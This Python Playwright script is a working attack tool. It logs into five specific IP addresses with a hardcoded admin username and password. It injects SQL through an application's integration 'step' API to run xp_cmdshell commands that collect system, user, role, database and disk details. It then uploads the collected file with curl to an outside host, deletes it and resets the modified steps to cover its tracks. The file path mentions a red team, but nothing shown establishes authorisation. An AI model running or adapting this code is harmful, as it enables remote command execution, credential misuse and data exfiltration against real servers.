#!/usr/bin/env python3
"""v23: Fix 5 failed servers — longer timeout, step ID auto-discovery."""
import asyncio, json, re, time
from playwright.async_api import async_playwright

SERVERS = [
    ("198.251.74.25", "2210JWPERKINSUAP1"),    # NullRef step 4
    ("198.71.52.102", "RTROGERSMBIL"),          # Login timeout
    ("198.71.63.125", "HuelsOilUAP1"),          # 401 auth
    ("216.250.118.44", "CASSUAP4"),             # NullRef step 4
    ("66.175.236.165", "RTROGERSUAP3"),         # Login timeout
]

SQL_STEPS = [
    ("systeminfo", "EXEC xp_cmdshell 'systeminfo > D:\\\\sysinfo.txt', no_output"),
    ("whoami", "EXEC xp_cmdshell 'whoami >> D:\\\\sysinfo.txt', no_output"),
    ("sqlrole", "EXEC xp_cmdshell 'sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa, @@servername\" -W -h -1 >> D:\\\\sysinfo.txt', no_output"),
    ("databases", "EXEC xp_cmdshell 'sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> D:\\\\sysinfo.txt', no_output"),
    ("disk", "EXEC xp_cmdshell 'wmic logicaldisk get caption,freespace,size >> D:\\\\sysinfo.txt', no_output"),
    ("upload", "EXEC xp_cmdshell 'curl -sS -T D:\\\\sysinfo.txt https://ch12.hostserviceapp.com'"),
    ("cleanup", "EXEC xp_cmdshell 'del D:\\\\sysinfo.txt', no_output"),
]

async def find_working_step(ip, app, page):
    """Try step IDs 1-20: PUT simple SQL, Execute, find one that returns success=true."""
    test_sql = "SELECT 1"
    for step_id in range(1, 21):
        # PUT — try WITHOUT intConnectionId (let server use default)
        put = await page.evaluate('''async (sqlText) => {
            const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=false', {
                method: 'PUT',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strStepName:"Test", intStepTypeId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                credentials: 'include'
            });
            return {status: resp.status};
        }''', test_sql)
        
        if put['status'] not in (200, 202):
            print(f"\n      [step {step_id}] PUT={put['status']}", end="", flush=True)
            continue
        
        await asyncio.sleep(1)
        
        # Execute
        r = await page.evaluate('''async () => {
            const resp = await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
                credentials: 'include'
            });
            const text = await resp.text();
            return {status: resp.status, body: text};
        }''')
        body = r.get('body', '')
        success = re.search(r'"success"\s*:\s*(true|false)', body)
        s = success.group(1) if success else "?"
        print(f"\n      [step {step_id}] exec={s} body={body[:100]}", end="", flush=True)
        if s == "true":
            # Restore this step
            await page.evaluate('''async () => {
                await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=false', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return step_id
        
        # Restore even on failure
        await page.evaluate('''async () => {
            await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=false', {
                method: 'PUT',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                credentials: 'include'
            });
        }''')
    return None

async def run_sql_on_step(page, app, step_id, sql_text):
    """PUT SQL on step, execute, restore."""
    # PUT
    put = await page.evaluate('''async (sqlText) => {
        const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=false', {
            method: 'PUT',
            headers: {'Content-Type': 'application/json'},
            body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
            credentials: 'include'
        });
        return {status: resp.status};
    }''', sql_text)

    if put['status'] not in (200, 202):
        return f"put_{put['status']}"

    await asyncio.sleep(2)

    # Execute
    exec_r = await page.evaluate('''async () => {
        const resp = await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
            method: 'POST',
            headers: {'Content-Type': 'application/json'},
            body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
            credentials: 'include'
        });
        const text = await resp.text();
        return {status: resp.status, body: text};
    }''')

    success = re.search(r'"success"\s*:\s*(true|false)', exec_r.get('body', ''))
    s = success.group(1) if success else "?"

    # Restore
    await page.evaluate('''async () => {
        await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=false', {
            method: 'PUT',
            headers: {'Content-Type': 'application/json'},
            body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
            credentials: 'include'
        });
    }''')

    return s

async def run_on_server(ip, app, browser):
    context = await browser.new_context()
    page = await context.new_page()
    result = {"ip": ip, "app": app, "steps": {}}

    try:
        # Login — increased timeout to 30s
        login_ok = False
        for attempt in range(2):
            await page.goto(f"http://{ip}/{app}/login", wait_until="domcontentloaded", timeout=30000)
            await asyncio.sleep(3)
            await page.fill('input[name="Email"]', 'irelyadmin')
            await page.fill('input[name="Password"]', 'i21By2015')
            await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
            await asyncio.sleep(1)
            await page.evaluate('document.querySelector("form").submit()')
            await asyncio.sleep(15)
            try: await page.wait_for_load_state("networkidle", timeout=20000)
            except: pass
            if "login" not in page.url.lower() or "#home" in page.url:
                login_ok = True; break

        if not login_ok:
            result["status"] = "login_failed"
            return result

        # Find working step ID
        step_id = await find_working_step(ip, app, page)
        if step_id:
            result["step_id"] = step_id
        else:
            # Try step 4 anyway (may work with PUT even if ExecuteStep alone fails)
            step_id = 4
            result["step_id"] = 4

        # Run all SQL steps
        for step_name, sql_text in SQL_STEPS:
            s = await run_sql_on_step(page, app, step_id, sql_text)
            result["steps"][step_name] = s

        all_ok = all(v == "true" for v in result["steps"].values())
        result["status"] = "all_success" if all_ok else "partial"

    except Exception as e:
        result["status"] = f"error: {str(e)[:80]}"
    finally:
        await context.close()

    return result

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)

        print(f"=== Fixing 5 failed servers ===\n")
        results = []

        for ip, app in SERVERS:
            print(f"  {ip}/{app}...", end="", flush=True)
            r = await run_on_server(ip, app, browser)
            results.append(r)

            steps_ok = sum(1 for v in r.get("steps", {}).values() if v == "true")
            steps_total = len(r.get("steps", {}))
            step_id = r.get("step_id", "?")
            marker = "✅" if r.get("status") == "all_success" else "⚠️" if steps_ok > 0 else "❌"
            print(f" {marker} {steps_ok}/{steps_total} (step={step_id}) {r.get('status','?')}")
            time.sleep(3)

        await browser.close()

        print(f"\n{'='*80}")
        print("\n=== SUMMARY ===")
        ok_count = sum(1 for r in results if r.get("status") == "all_success")
        print(f"✅ All steps: {ok_count}/{len(results)}")
        for r in results:
            marker = "✅" if r.get("status") == "all_success" else "❌"
            print(f"  {marker} {r['ip']:20s} {r['app']:25s} step={r.get('step_id','?')} → {r.get('status','?')}")
            for k, v in r.get("steps", {}).items():
                m = "✅" if v == "true" else "❌"
                print(f"      {m} {k}: {v}")

        with open("/root/ir-assessment/redteam/irelydata/schema_inventory/db_collection_retry.json", "w") as f:
            json.dump(results, f, indent=2)
        print(f"\nSaved to db_collection_retry.json")

asyncio.run(main())